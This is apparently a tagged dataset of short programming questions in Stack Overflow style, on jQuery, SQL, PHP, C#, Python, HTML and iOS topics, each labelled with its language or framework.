javascript return when stopping function  if i write this:   <pre><code>$( #somediv ).click(dosomething);  function dosomething() {    if (somecondition === true) {      return false;   }    // more code here } </code></pre>   regardless of whether i put <code>return</code>; or <code>return false;</code> or <code>return true;</code> the code doesn t throw exceptions and the function execution stops.    which is the best option,javascript
mysql multiple where from same column   user table   <pre><code>------------------------ id        |   name ------------------------ 1         |  bob smith 2         |  jane doe 3         |  fred flintstone 4         |  barney rubble 5         |  marge simpson ...       |  ... </code></pre>   connections   <pre><code>----------------------------------------------- connection1 |   connection2  | connector ------------------------------------------------ 1           |  3             | 7 11          |  5             | 7 35          |  7             | 7 18          |  9             | 7 12          |  13            | 6 ...         |  ...           | ... </code></pre>   above are examples of tables i have in a mysql database. i understand i can use a where clause to return a single user id but i would like to resolve all ids from the same user table. is there any elegant solution to return just usernames in one mysql statement     basically return a table like this:   <pre><code>----------------------------------------------- connection1 |   connection2  | connector ------------------------------------------------ tim         |  steven        | charlie </code></pre>,mysql
ignoring a column in select query but need to use as a join condition  here i have this proc where i need to insert data into target table 4.in all these subqueries first_scan_issues/last_scan_issues/prior_scan_issues where i need to join based on the scan_id but same time i should not use the scan_id in select query where the grouping result sets are splitting into more granularity.even i tried with  partition by clause  it also gives more number of records. how can we avoid scan_id column and should use the same as join condition. target table 4   <pre><code>soa_sector                           varchar2(100 char)  soa_region                           varchar2(100 char)  project                     not null varchar2(256 char)  solution                             varchar2(256 char)  first_scan_issue_cnt        not null number(10)          first_files_with_issues_cnt not null number(10)          first_scan_file_cnt         not null number(10)          total_files_for_project_cnt not null number(10)          last_scan_issue_cnt         not null number(10)          last_files_with_issues_cnt  not null number(10)          last_scan_file_cnt          not null number(10)          prior_scan_issue_cnt        not null number(10)          prior_file_with_issues_cnt  not null number(10)          prior_scan_file_cnt         not null number(10)          load_date_time              not null date  </code></pre>   proc   <pre><code>create or replace procedure proc as begin insert into table4   select first_scan_issues.soa_sector          first_scan_issues.soa_region          a.project          a.solution          first_scan_issues.cnt1                      first_scan_issues.cnt2          file_scans.cnt7          project_files_count.count            last_scan_issues.cnt3          last_scan_issues.cnt4          file_scans.cnt8         prior_scan_issues.cnt5          prior_scan_issues.cnt6           file_scans.cnt9               current_date       from( select project solution first_scan_id last_scan_id prior_scan_id from table1 order by project       )a        left outer join         (        select soa_sector soa_region project solution scan_id           count(distinct issue_id) cnt3          count(distinct file_id) cnt4         from table2 group by soa_sector soa_region project solution scan_id         ) first_scan_issues on first_scan_issues.scan_id = a.first_scan_id and first_scan_issues.project =a.project       left outer join        (       select soa_sector soa_region project solution scan_id           count(distinct issue_id) cnt3          count(distinct file_id) cnt4         from table2 group by soa_sector soa_region project solution scan_id         )last_scan_issues on last_scan_issues.scan_id = a.last_scan_id and last_scan_issues.project =a.project       left outer join       (       select soa_sector soa_region project solution scan_id           count(distinct issue_id) cnt3          count(distinct file_id) cnt4         from table2 group by soa_sector soa_region project solution scan_id       ) prior_scan_issues on prior_scan_issues.scan_id = a.prior_scan_id and prior_scan_issues.project =a.project       left outer join       (       select project solution  count(distinct first_scan_id) cnt7         count(distinct last_scan_id) cnt8 count(distinct prior_scan_id) cnt9       from table1 group by project solution order by project       )file_scans on file_scans.project=a.project         join       (        select  project solution soa_sector soa_region         count(distinct path) count        from table3        group by  project solution soa_sector soa_region                                 ) project_files_count        on project_files_count.project = a.project; end; create table table1 (   project       varchar2(256 char) not null    solution      varchar2(256 char)    first_scan_id number(10)         not null    last_scan_id  number(10)         not null    prior_scan_id number(10)         not null    constraint pk_tmp_first_last_scan_ids_id primary key (project) );  create table table2 (   issue_id         number(10)     constraint rpt_issue_summary_pk     primary key    soa_sector       varchar2(128)    soa_region       varchar2(128)    username         varchar2(128)    project          varchar2(256)    solution          varchar2(256)    path             varchar2(2048)    time             date    category         varchar2(512)    title            varchar2(512)    issue_imp        varchar2(256)    clicked          number(3)    scan_id          number(10)    session_id       number(10)    rulepack_rule_id number(10)    file_id          number(10)    file_info_id     number(10)    scan_year_mon    varchar2(7)    scan_year        varchar2(4)    scan_month       varchar2(2)    load_time        date not null );  create table table3 (   soa_sector        varchar2(128)    soa_region        varchar2(128)    username      varchar2(128)    project       varchar2(256)  not null    solution       varchar2(256)    path          varchar2(2048) not null    time          date           not null    loc           number(10)     not null    scan_id       varchar2(256)    session_id    varchar2(256)    file_id       varchar2(256)    file_info_id  varchar2(256)    scan_year_mon varchar2(7)    scan_year     varchar2(7)    scan_month    varchar2(7)    load_date_time     date           not null    constraint rpt_scan_summary_pk primary key (scan_id  file_id) ) </code></pre>,sql
image background in css  is there a way to dynamically resize the image on the page background  i have a background that repeats on y axes but if i make the height size bigger and if the page contains less content then the backgroun does not fit properly.. can anyone please help  thanks,css
why am i getting a  microsoft jet database engine  popup when i click save in my app   i am creating an application to add entries into a database  but when i click <kbd>save</kbd> i get a popup window that says  microsoft jet database engine  and nothing else.  now i m fairly new to programming and so i don t know what this means.  i ve tried looking it up but all i find is various error codes with jet database engine in them.     i m using c# for creating the app and the database was created using access 2013.      below is a portion of the code:    <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks; using system.windows; using system.windows.controls; using system.windows.data; using system.windows.documents; using system.windows.input; using system.windows.media; using system.windows.media.imaging; using system.windows.navigation; using system.windows.shapes; using system.data.oledb; using system.data; using system.componentmodel;   namespace parkingdatabase { /// &lt;summary&gt; /// interaction logic for mainwindow.xaml /// &lt;/summary&gt; public partial class mainwindow : window {      public mainwindow()     {         initializecomponent();     }      oledbconnection connect = new oledbconnection();     private void btnsave_click(object sender  routedeventargs e)     {         connect.connectionstring = @ provider=microsoft.jet.oledb.4.0;data source=c:\users\bkoso\documents\visual studio 2015\projects\parkingdatabase\parkingdatabase\parkingdata.mdb ;         connect.open();         oledbcommand com = new oledbcommand( insert into guest info(guest first name  guest last name  room number  departure date  return date  vehicle colour  vehicle make  license plate number  contact first name  contact last name  contact phone number  contact email  park and fly tag number) values(@guest first name  @guest last name  @room number  @departure date  @return date  @vehicle colour  @vehicle make  @license platenumber  @contact first name  @contact last name  @contact phone number  @contact email  @park and fly tag number)   connect);             com.parameters.addwithvalue( @guest first name   txtbxgstfname.text);             com.parameters.addwithvalue( @guest last name   txtbxgstlname.text);             com.parameters.addwithvalue( @room number   txtbxrm.text);             com.parameters.addwithvalue( @departure date   txtbxddate.text);             com.parameters.addwithvalue( @return date   txtbxrdate.text);             com.parameters.addwithvalue( @vehicle colour   txtbxvcolour.text);             com.parameters.addwithvalue( @vehicle make   txtbxvmake.text);             com.parameters.addwithvalue( @license plate number   txtbxplate.text);             com.parameters.addwithvalue( @contact first name   txtbxcontactfname.text);             com.parameters.addwithvalue( @contact last name   txtbxcontactlname.text);             com.parameters.addwithvalue( @contact phone number   txtbxphone.text);             com.parameters.addwithvalue( @contact email   txtbxemail.text);             com.parameters.addwithvalue( @park and fly tag number   txtbxtag.text);          if (connect.state == connectionstate.open)         {             try             {                 com.executenonquery();                 messagebox.show( guest information saved successfully );                 txtbxgstfname.text =   ;                 txtbxgstlname.text =   ;                 txtbxrm.text =   ;                 txtbxddate.text =   ;                 txtbxrdate.text =   ;                 txtbxvcolour.text =   ;                 txtbxvmake.text =   ;                 txtbxplate.text =   ;                 txtbxcontactfname.text =   ;                 txtbxcontactlname.text =   ;                 txtbxphone.text =   ;                 txtbxemail.text =   ;                 txtbxtag.text =   ;              }             catch (exception notsaved)             {                 messagebox.show(notsaved.source);                 connect.close();             }         }         else         {             messagebox.show( connection failed );         }     } </code></pre>   thank you,c#
non blocking file read in php  i am implementing a script to read data from a file in php. it contains around 30 thousand lines. the problem i am facing is that it takes a lot of time for the server to read the file and echo the results and send back the page. is there any way by which the server can send back the response after a given time  say 2 seconds.     the result should contain the part of the file which has been processed and in the next reply it should send the part in processed in next 2 seconds.,php
asp.net select control  i have a html select dropdown control from which i can select a customer  i have a gridview which gets populated with data from the customer select dropdown control and a button which brings data back to the gridview but the select dropdown control gets reset every time when there is a post back  how can i stop this from happening,.net
asp.net - what are the best latest tools /frameworks  etc to look at . .  ok  i have done a bunch of asp as well as asp.net right when it  came out.  a friend is starting a non profit organization and he wants me to put together a site for him.  i figured i would kill 2 birds with one stone and look to freshen up my skills on the latest that the web has to offer in asp.net  web 2.0  etc.    the site requirements are pretty simple:   <ol> <li>organization mission statement</li> <li>users ability to register</li> <li>photos  content</li> <li>blog posts</li> <li>ability to donate directly on the site (maybe through paypal)</li> </ol>   so my questions is what are the best tools to start here given its going to be hosted on windows asp.net platform 3.5.  any other frameworks that i should be looking at.     where is the best place to start     i could easily build the site just putting a table together and a bunch of static pages but i figured if it made sense to utilize and help freshen my skills  it would be worth the efforts of the learning curve.      feel free to suggest any other items that i haven t listed.,asp.net
checking beforing inserting in db - php  i m just using a comment box for letting user to enter the comments  but now the user is tending to post as many comment  i just want the user to post only one time  so wat i think is before we inserting a comment in database we will check something to stop inserting one more time (dont let place twice the same comment)   <pre><code>$query =  insert into comments(user_id post_id comments)              . values(  .$user_id.      .$post_id.       .$comment_text.   ) ; $result = mysql_query($query) or die( error .mysql_error()); </code></pre>,php
what s the average limit of divs for a page to be stable   some time ago i found <a href= http://www.c-point.com/javascript_vector_draw.htm  rel= nofollow noreferrer >this site</a> which has an api to draw stuff in javascript using divs.    i ve tried to use it  but noticed that as the number of divs increased  the stability of the page (especially doing select copy paste) decreased.    now i m about to write a web-app that will have a huge amount of generated divs  and i m wondering if it will affect it s stability.    what s the average limit of divs one can use in order for the web page to remain stable  and avoid overloading,html
"enable and disable click on jquery  i just want to know how to enable click in jquery. i disabled click on element using <code>.off()</code> but don t know how to enable it again.    i tried to use the code <a href= https://stackoverflow.com/questions/13276291/disable-enable-onclick >here</a>  but didn t work or maybe i put it in a wrong way.    i made a simple app that disables the click when the countdown is 3 and below and enable again when the counter resets.    hope you help me.    thanks.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var counter = 10;
   
 setinterval(function(e){
   $( .counter ).text(counter);
   counter --;
   if (counter &lt;= 3) {
     $( button ).off( click );
   }
   if(counter &lt; 0){
     counter = 10;
     // enable click here
     var myfunc = function(event){
      event.stoppropagation();
      // execute a bunch of action to preform
 }
 
 $( button ).on( click   myfunc); //bind myfunc
     
   }
 }  1000);
 
 var clicks = 1;
 $( button ).click(function(){
   $( .clicks ).text(clicks++);
 });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.clicks{
   background-color: #ddd;
   color: red;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;div class= counter &gt;&lt;/div&gt;
 &lt;br&gt;
 &lt;button&gt;click&lt;/button&gt;
 &lt;div class= clicks &gt;
   
 &lt;/div&gt;</code></pre>
 </div>
 </div>",jquery
what type should i store ip addresses for mysql   i was going to use <code>varchar(20)</code>  but i was wondering what should if i should do int and strip off the periods instead. what would be better and why,mysql
can t break out of do while loop  gcc (gcc) 4.6.3 c89    hello     i have the following do..while loop   <pre><code>#define number_dx_channels 4  do { /* some some processing here */ i++; dx_channels++; } while((dx_channels &gt; channels_per_board) || (i &lt; number_fx_resources)); </code></pre>   for some reason the dx_channels should reach 4 first before the number_fx_resources is reached. however  it never breaks out of the dx_channels > channel_per_board.    i could use an if statement  but that would be added a extra line of code.    am i doing something wrong here  is it because i am testing for 2 conditions     many thanks for any suggestions,c
domain credentials for a webclient class don t work  i m trying to get a html source of a website through c# code. when i access the site with windows authentication the following code works:   <pre><code>using (webclient client = new webclient())             {                 client.credentials = credentialcache.defaultcredentials;                 using (stream stream = client.openread( http://intranet/ ))                 using (streamreader reader = new streamreader(stream))                 {                     messagebox.show(reader.readtoend());                 }             } </code></pre>   when i enter my domain credentials manually i get an  unauthenticated  message:   <pre><code>using (webclient client = new webclient())             {                 networkcredential credentials = new networkcredential( username    pass    domain );                 client.credentials = credentials;                 using (stream stream = client.openread( http://intranet/ ))                 using (streamreader reader = new streamreader(stream))                 {                     messagebox.show(reader.readtoend());                 }             } </code></pre>   why is it so,.net
find out which executable references a .net dll   i have a dll file in the workspace of the project which is under maintenance. is there any method to keep a watch on the dll and see which executable is loading it     edit: i just need to find out which executable loads the dll  can it be found using process explorer. i tried using filemon by watching the events matching the file name. it didn t work.,c#
jquery/xml return the current target li id from an xml node for individual functions  i need to return the current value of the selected video-thumb li  so if i click on the 2nd li return id is 2 etc.  what i currently have returns 2 if i select both the first and second li.  i will eventually need to fire a different function depending on the selected li.  if this is totally off on reaching that goal please point me in the correct lead.    what i am trying to accomplish:  i parse the xml and then display it on the page (append it to #container).  within the appended html  li are added.  upon this addition i need to iterate to the correct target li.  so if i click target li with the xml id of 3 i need to fire a function for only that target li and so on for all iterated xml nodes.  any direct as always is greatly appreciated.    thanks!    jquery:   <pre><code>&lt;script type= text/javascript  src= js/jquery-1.6.2.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/jquery-ui-1.8.16.custom.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/video-js/video.js &gt;&lt;/script&gt; &lt;link rel= stylesheet  href= js/video-js/video-js.css  type= text/css  media= screen  title= video js  charset= utf-8 &gt; &lt;script type= text/javascript &gt; $(document).ready(function(){     $.ajax({         type:  get           url:  videos.xml           datatype:  xml           success: function(xml) {             $(xml).find( videos ).each(function(){                 var title = $(this).find( title ).text();                 var id = $(this).find( id ).text();                 var url = $(this).find( url ).text();                 var url2 = $(this).find( url2 ).text();                 var desc = $(this).find( desc ).text();                 //alert(url2);                 $( #container ).append( &lt;div id= desc &gt; +title+ &lt;br&gt; +desc+ &lt;/div&gt;&lt;video class= video-js  width= 740  height= 400  controls= controls  preload= true &gt;&lt;source src=  +url+  /&gt;&lt;source src=  +url2+  /&gt;&lt;/video&gt;&lt;li class= video-thumb &gt; +id+ &lt;/li&gt; );                 $( .video-thumb ).click(function() {                     if(id == 2){                     alert( click =   + id);                     } else {                         return false                     alert( loser );                        }                 })             });         }     });     //videojs.setupallwhenready();  }); </code></pre>   xml:   <pre><code>&lt;xml&gt; &lt;videos&gt;   &lt;title&gt;title one&lt;/title&gt;   &lt;id&gt;1&lt;/id&gt;   &lt;url&gt;videos/video1.mp4&lt;/url&gt;   &lt;url2&gt;videos/video1.webm&lt;/url2&gt;   &lt;desc&gt;111 writing things in here.  writing things in here.  writing things in here.&lt;/desc&gt; &lt;/videos&gt; &lt;videos&gt;   &lt;title&gt;title 2&lt;/title&gt;   &lt;id&gt;2&lt;/id&gt;   &lt;url&gt;videos/video1.mp4&lt;/url&gt;   &lt;url2&gt;videos/video1.webm&lt;/url2&gt;   &lt;desc&gt;2 writing things in here.  writing things in here.  writing things in here.&lt;/desc&gt; &lt;/videos&gt; &lt;videos&gt;   &lt;title&gt;title 3&lt;/title&gt;   &lt;id&gt;3&lt;/id&gt;   &lt;url&gt;videos/video1.mp4&lt;/url&gt;   &lt;url2&gt;videos/video1.webm&lt;/url2&gt;   &lt;desc&gt;3 writing things in here.  writing things in here.  writing things in here.&lt;/desc&gt; &lt;/videos&gt; &lt;videos&gt;   &lt;title&gt;title 4&lt;/title&gt;   &lt;id&gt;4&lt;/id&gt;   &lt;url&gt;videos/video1.mp4&lt;/url&gt;   &lt;url2&gt;videos/video1.webm&lt;/url2&gt;   &lt;desc&gt;4 writing things in here.  writing things in here.  writing things in here.&lt;/desc&gt; &lt;/videos&gt; &lt;/xml&gt; </code></pre>,jquery
clickable headings that expand with details underneath in angularjs  i didn t really know how to title this question or how to describe what i m looking to do but i essentially want to replicate how this site...<a href= https://nifi.apache.org/docs/nifi-docs/rest-api/  rel= nofollow noreferrer >https://nifi.apache.org/docs/nifi-docs/rest-api/</a> has formatted its api documentation. i m looking to do the same but is there an angular directive that does something similar to the link above,angularjs
why is the maximum recursion depth in python 1000   i was curious about what the mrd (maximum recursion depth) is in python  so i wrote this:   <pre><code>def call(n):     print (n)     return call(n+1)  call(1) </code></pre>   the end result was 979  wich is a peculiar number for me. i could not find anywhere why this number is the standard. as i am a self taught programmer i would apreciate it being explained in simple terms.    edit: apperantly it s supposed to be a 1000  but why this number,python
a conditional element inside an array(...) construct  my system sends a configuration array to a function like this:   <pre><code>callthatfunction( array(k1 =&gt; v1   k2 =&gt; v2  ... kn=vn)); </code></pre>   i want to make one of the key value pairs  conditional upon some circumstances.    can i do this without creating a variable for the array (and this breaking the clean config syntax that someone else had created)     like this   <pre><code>callthatfunction ( array( k1 =&gt; v1   if($cond( {k2 =&gt; v2 }  ...  kn=vn)); </code></pre>   the above is obviously wrong syntactically  but should express my idea.    thank you,php
how do i pass a ostream and use cout to display on the screen in a function   i want to use istream and ostream as a parameter that my functions take and help me to the work (read file  and display content on the screen). i know how to do it with istream:   <pre><code>std::ifstream myfile(...);  void foo(myfile);  void readfoo(std::istream &amp;stream) {   int x  y;   stream &gt;&gt; x &gt;&gt; y;  //suppose my file contains many rows of 2 numbers.   //store the x and y to somewhere  }  void writefoo(std::ostream &amp;output) {     } </code></pre>   and what object should i pass to my writefoo()     update: here is the update but i got an error message( cannot convert from ostream to ostream*)   <pre><code>writefoo(std::cout); writefoo(sd::ostream &amp;out) {   out &lt;&lt; somedata to display to the screen; } </code></pre>,c++
asp.net like query with access database  i am trying to do a like query with a parameter and i am getting a syntax error during the where line. any ideas    <pre><code>select textboxvalue  from            tbltest  where        textboxvalue like  *  &amp; @textboxvalue &amp;  *  </code></pre>,asp.net
creating instance of callbackmanager.factory.create();  when i write this code why the color of mfacebookcallbackmanager changes to red saying cannot resolve symbol mfacebookcallbackmanager      <pre><code>public class signin extends appcompatactivity  {  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);      facebooksdk.sdkinitialize(getapplicationcontext());     mfacebookcallbackmanager = callbackmanager.factory.create();       setcontentview(r.layout.activity_signin);   }   } </code></pre>   manifest file    <pre><code> &lt;application     android:allowbackup= true      android:icon= @mipmap/ic_launcher      android:label= @string/app_name      android:roundicon= @mipmap/ic_launcher_round      android:supportsrtl= true      android:theme= @style/apptheme &gt;      &lt;meta-data android:name= com.facebook.sdk.applicationid  android:value= @string/facebook_app_id /&gt;      &lt;activity         android:name= .mainactivity          android:label= @string/app_name          android:theme= @style/apptheme.noactionbar &gt;         &lt;intent-filter&gt;             &lt;action android:name= android.intent.action.main  /&gt;              &lt;category android:name= android.intent.category.launcher  /&gt;         &lt;/intent-filter&gt;     &lt;/activity&gt;  &lt;/application&gt;  &lt;/manifest&gt; </code></pre>   kindly help me out to solve the problem,android
python script running in linux  i am having trouble trying to get this script to work. when i debug this code it will not read into the class or functions. the code will not execute properly. has anyone know the problem here  thanks   <pre><code>#!/home/build/test/python-2.6.4  import os  subprocess  class mks_function:   sandbox= new_sandbox    def mks_create_sandbox():     try:      retcode=call( si createsandbox  +  --no --hostname=bel --port=70 --user=user --password=1234 --populate --project=e:/project.pj --lineterminator=lf new_sandbox   shell=true)      if retcode &lt; 0:       print &gt;&gt;sys.stderr   child was terminated by signal   -retcode      else:       print &gt;&gt;sys.stderr   child returned   retcode    except oserror  e:       print &gt;&gt;sys.stderr   execution failed:   e       print  sandbox retval= +retcode       print  creating a new sandbox called  +sandbox+      ############################################################### </code></pre>,python
pure javascript equivalent of jquery replace()  in jquery i use replace like this     <code>replace( old text   new text )</code>    how do i do the same thing with pure javascript,javascript
integration problems concerned with gateway hosted account type in paypoint.net  i have set up a gateway hosted account at paypoint.net. i want to customise the form where users fill card s information and where it displays error messages such as invalid card  before going to bank for checking. is that possible  can i use gateway hosted account alone without gateway freedom  what are the disadvantages,asp.net
use jquery to change css of text with select option - how to combine multiple functions  this is my first time using jquery and i am pleased to get my first attempt working. with the help of <a href= https://stackoverflow.com/questions/9024516/div-css-change-when-select-option-is-selected-with-jquery >this post</a> i managed to achieve what i wanted to do  but i can t help feeling that there is a much neater way of doing this but cannot work out how.    basically i have a page containing dropdowns that change a price depending on the service level wanted. when the select options are changed the color of the price also changes. these prices come from a db so i have put a basic version here where the price doesn t change but the text color does.    the id of each dropdown increments like this - optn0x0  optn1x0 etc    and the div id of the price increments like this pricediv0  pricediv1 etc    what i would like to do is combine the jquery code into one function as there are 13 dropdowns so it will be a lot of code the way i have done it.    here is the code   <pre><code>&lt;style&gt; .saver{color:red;} .express{color:black;} .expressplus{color:blue;} &lt;/style&gt;  &lt;html&gt;  &lt;select class= prodoption  name= optn0  id= optn0x0 &gt;&lt;option value= 68 &gt;saver&lt;/option&gt; &lt;option value= 69  selected= selected &gt;express&lt;/option&gt; &lt;option value= 70 &gt;expressplus&lt;/option&gt; &lt;/select&gt;  &lt;td class= cobll cpdll &gt;&lt;div class= prod3price &gt;&lt;span class= price  id= pricediv0 &gt;74.00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;select class= prodoption  name= optn0  id= optn1x0 &gt;&lt;option value= 68 &gt;saver&lt;/option&gt; &lt;option value= 69  selected= selected &gt;express&lt;/option&gt; &lt;option value= 70 &gt;expressplus&lt;/option&gt; &lt;/select&gt;  &lt;td class= cobll cpdll &gt;&lt;div class= prod3price &gt;&lt;span class= price  id= pricediv1 &gt;74.00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt; &lt;/html&gt; </code></pre>   and here is the jquery   <pre><code>$( select[id^=optn0x0] ).change(function(){  $( #pricediv0 ).removeclass( saver express expressplus ).addclass(     $(this).find( option:selected ).text().tolowercase() ); }) .change();  $( select[id^=optn1x0] ).change(function(){  $( #pricediv1 ).removeclass( saver express expressplus ).addclass(     $(this).find( option:selected ).text().tolowercase() ); }) .change(); </code></pre>   any suggestions would be most appreciated.   <hr>   hi     thank you all for your answers on this    i now have two working solutions:   <pre><code>$( select[id^= optn ] ).change(function(){ var ind = $(this).attr( id ).replace( optn     ) var cls = $(this).find( option:selected ).text().tolowercase(); $( #pricediv  + parseint(ind) ).removeattr( class ).addclass(cls) }) .change(); </code></pre>   and   <pre><code>$( select[id^= optn ] ).change(function(){ var ind = $(this).attr( id ).replace( optn     ) $( #pricediv  + parseint(ind) ).removeclass( saver express expressplus ).addclass(    $(this).find( option:selected ).text().tolowercase() ) }) .change(); </code></pre>   would anyone be able to offer any guidance as to which one is best and therefore which one i should use as i am new to jquery and i am trying to understand what does what.,jquery
asp.net loginview keeps redirecting to default.aspx  how to change   i have a loginview control on my homepage  when i click  login  it goes to the log in page. when the details are authenticated  it redirects to default.aspx  i don t have a default.aspx - where can i change this     this is the only thing i can see wrong:   <pre><code>formsauthentication.redirectfromloginpage(login1.username  login1.remembermeset); </code></pre>,asp.net
storing large data in string  i am trying to store large data more than 255 characters in a string datatype but it truncates after 255. how can i achive this basically i need to pass this data to database,c#
what happens to string variable in java when the value is changed   which is correct    according to  murachs java programming  when you assign a new value to a string variable the original string object is deleted and its replaced by a new string object.    but according to my professor the object stays in string constant pool only the reference variable now points to a new memory location of the newly assigned value.,java
stray end of tag head  i am trying to learn to use framesets in html. so  i started a little website with a friend. in following page (index.html) i receive an error on line 13:  stray end of head tag . why i get this error    <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01//en   http://www.w3.org/tr/html4/strict.dtd &gt;  &lt;html&gt;     &lt;head&gt;         &lt;title&gt;metal s page&lt;/title&gt;          &lt;frameset cols =  20% *  frameborder =  0 &gt;             &lt;frame src =  pages/menu.html &gt;             &lt;frameset rows =  10% *  frameborder =  0 &gt;                 &lt;frame src =  pages/title.html &gt;                 &lt;frame name =  main  src =  index.html &gt;             &lt;/frameset&gt;         &lt;/frameset&gt;     &lt;/head&gt;       &lt;body bgcolor = red&gt;         &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;         &lt;p&gt;hello  my name is mihai  but one of my best friend call me  metal . this is our web page. enjoy!&lt;/p&gt;         &lt;br/&gt;&lt;br/&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   website address: metalblog.besaba.com  thanks!,html
jquery: how to use if statement correctly with  > < =  <pre><code>$(document).on( click    #cals   function () {      var year = $( #age ).val();      var name = $( #namee ).val();      var agese = 2018 - year;      var results = name +   your age is   +agese;      if($(year).val() &lt;  2018 ){          $( #ageres ).val(results)          } }); </code></pre>   the <code>if</code> statement is not working even if the user entered a number less than 2018.,jquery
combining two sql query commands  i want to query two databases. i want all fields from db1 and one more field from db2.    the command is like this:   <pre><code>select name from db2 where id in (select id from db1 where date &gt;  2018-1-1 ) </code></pre>   then i need to query db1 for all the fields again.   <pre><code>select * from db1 date &gt;  2018-1-1  </code></pre>   how to combine these two queries,sql
stop downloading images and code from website <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1294501/how-to-prevent-downloading-images-and-video-files-from-my-website >how to prevent  downloading images and video files from my website</a>    </blockquote>     i am developing my own website.<br> in this website i need to add a feature which prevents downloading images and code.<br>    is it possible to prevent the downloading of images and code form my website      please reply.  thanking you and kindly regards,html
smsmessage length calculator for ios  in android there is a great method <a href= http://developer.android.com/reference/android/telephony/gsm/smsmessage.html#calculatelength(java.lang.charsequence %20boolean)  rel= nofollow ><code>smsmessage.calculatelength</code></a> you can give a string to it and it will detect its encoding and return an array where you can find how many characters are left for 1 sms message  or how many sms messages are there in the string...    i wonder if there is such a method in ios  sorry if the question is too simple  i am not a ios guy.,ios
multiple image loaders one page  i have a page with multiple images and i want to use a loader to make it look better whilst all images are loading.     <strong>the problem:</strong> only the first loading image is hiding to make way for the actual image and the rest are not hiding    html:   <pre><code>&lt;img src= /images/loaders/loader.gif  id= imgloader &gt; &lt;img src= /path/to/image1.jpg  class= sideimage &gt; &lt;img src= /images/loaders/loader.gif  id= imgloader &gt; &lt;img src= /path/to/image2.jpg  class= sideimage &gt; &lt;img src= /images/loaders/loader.gif  id= imgloader &gt; &lt;img src= /path/to/image3.jpg  class= sideimage &gt; &lt;img src= /images/loaders/loader.gif  id= imgloader &gt; &lt;img src= /path/to/image4.jpg  class= sideimage &gt; </code></pre>   jquery:   <pre><code>$(document).ready(function(){     $( #imgloader ).show();     var totalimages = $( .sideimage ).length;     var iloaded = 0;     $( .sideimage ).each(function (){         $(this).bind( load   function(){             iloaded++;             if(iloaded == totalimages){                 $( #imgloader ).hide();             }             $(this).attr( src   $(this).attr( src ));         });     }); }); </code></pre>,jquery
linking to search bar in particular site  i want to link to search option in this website  <a href= http://rxindex.ru/  rel= nofollow >http://rxindex.ru/</a>  .is there any php script so that user can type in form and when the form is submitted it is directly entered here in search bar in this website and searched.,php
cannot concatenate  str  and  int  objects but i can run it fine through my own idle   i m running on python 2.7.10 with the following code:   <pre><code>import sys  with open(sys.argv[1]   r ) as input:     test_cases = input.read().strip().splitlines()  for test in test_cases:     orig_number = test     iteration = 0     while true:         if str(orig_number) == str(orig_number)[::-1]:             print iteration  orig_number             break         iteration += 1         orig_number = orig_number + int(str(orig_number)[::-1]) </code></pre>   and it will run without a hitch but running it on code eval on python 2.7.3 it keeps returning a    <pre><code>cannot concatenate  str  and  int  objects </code></pre>   on the last line but i can t figure out why it s returning that as both parts seem to be an int.,python
what is propertydescriptor.geteditor() useful for   i just discovered the <code>propertydescriptor</code> class and i was wondering what is its method <code>geteditor()</code> used for. <a href= http://msdn.microsoft.com/en-us/library/system.componentmodel.propertydescriptor.geteditor.aspx  rel= nofollow >the documentation</a> doesn t say much about it.    so  what kind of editor does it return  how would you use it  is it actually useful,.net
how to upgrade from one version to latest version in .net framework   i have a project built in .net framework v4.5.2 and now i want to upgrade my project to v4.7    can anyone guide me on how to do this,.net
mailaddress class needs more headers to be reliable  i want to send mail in my website. also  want to make mailmessage.from property friendly. furthermore  i can t send message except for gmail. but with gmail  i am able to send messages hotmail etc. all-the-same  i can t send mail with friendly names even by using gmail. as a result of these  i thing so that mailmessage.headers property has no enough headers to be reliable  it isn t transmited cross mail services.     <blockquote>    csharp codes:    </blockquote>  <pre><code>public static void sendmail(string subject  string body  params string[] to)     {         string password =  ******** ;         string username =  username@host.com ;         bool isbodyhtml = true;         string from =  \ displayname\  &lt;username@host.com&gt; ;         int port = 587;         string host =  smtp.host.com ;         bool enablessl = true;         var credential = new system.net.networkcredential();             credential.password = password;             credential.username = username;             using (system.net.mail.mailmessage mm = new system.net.mail.mailmessage())             {                 mm.subject = subject;                 mm.body = body;                 mm.isbodyhtml = isbodyhtml;                 for (int i = 0; i &lt; to.count(); i++)                 {                     mm.to.add(to[i]);                 }                 mm.from = new system.net.mail.mailaddress(from);                 var smtp = new system.net.mail.smtpclient();                     smtp.usedefaultcredentials = false;                     smtp.credentials = credential;                     smtp.deliverymethod = system.net.mail.smtpdeliverymethod.network;                     smtp.enablessl = enablessl;                     smtp.port = port;                     smtp.host = host;                     smtp.send(mm);             }     } </code></pre>,.net
ios touch reporting frequency  i have a custom uislider subclass that is intended to restrict the rate at which the slider can move.  ideally  i would like this restriction to be in a verbally sensible manner such as  5 units per second .  right now the best i have been able to do is restrict the amount the slider s value can change on a per-update basis.  i could theoretically track the time since the last update was triggered  but if the user doesn t move his/her finger for a short time  then that calculation goes out the window.    in short: is there a way i can get the touch event frequency of the device  so that in the event that the touch events are slower on one device or the other  the rate of change with respect to real time remains constant,ios
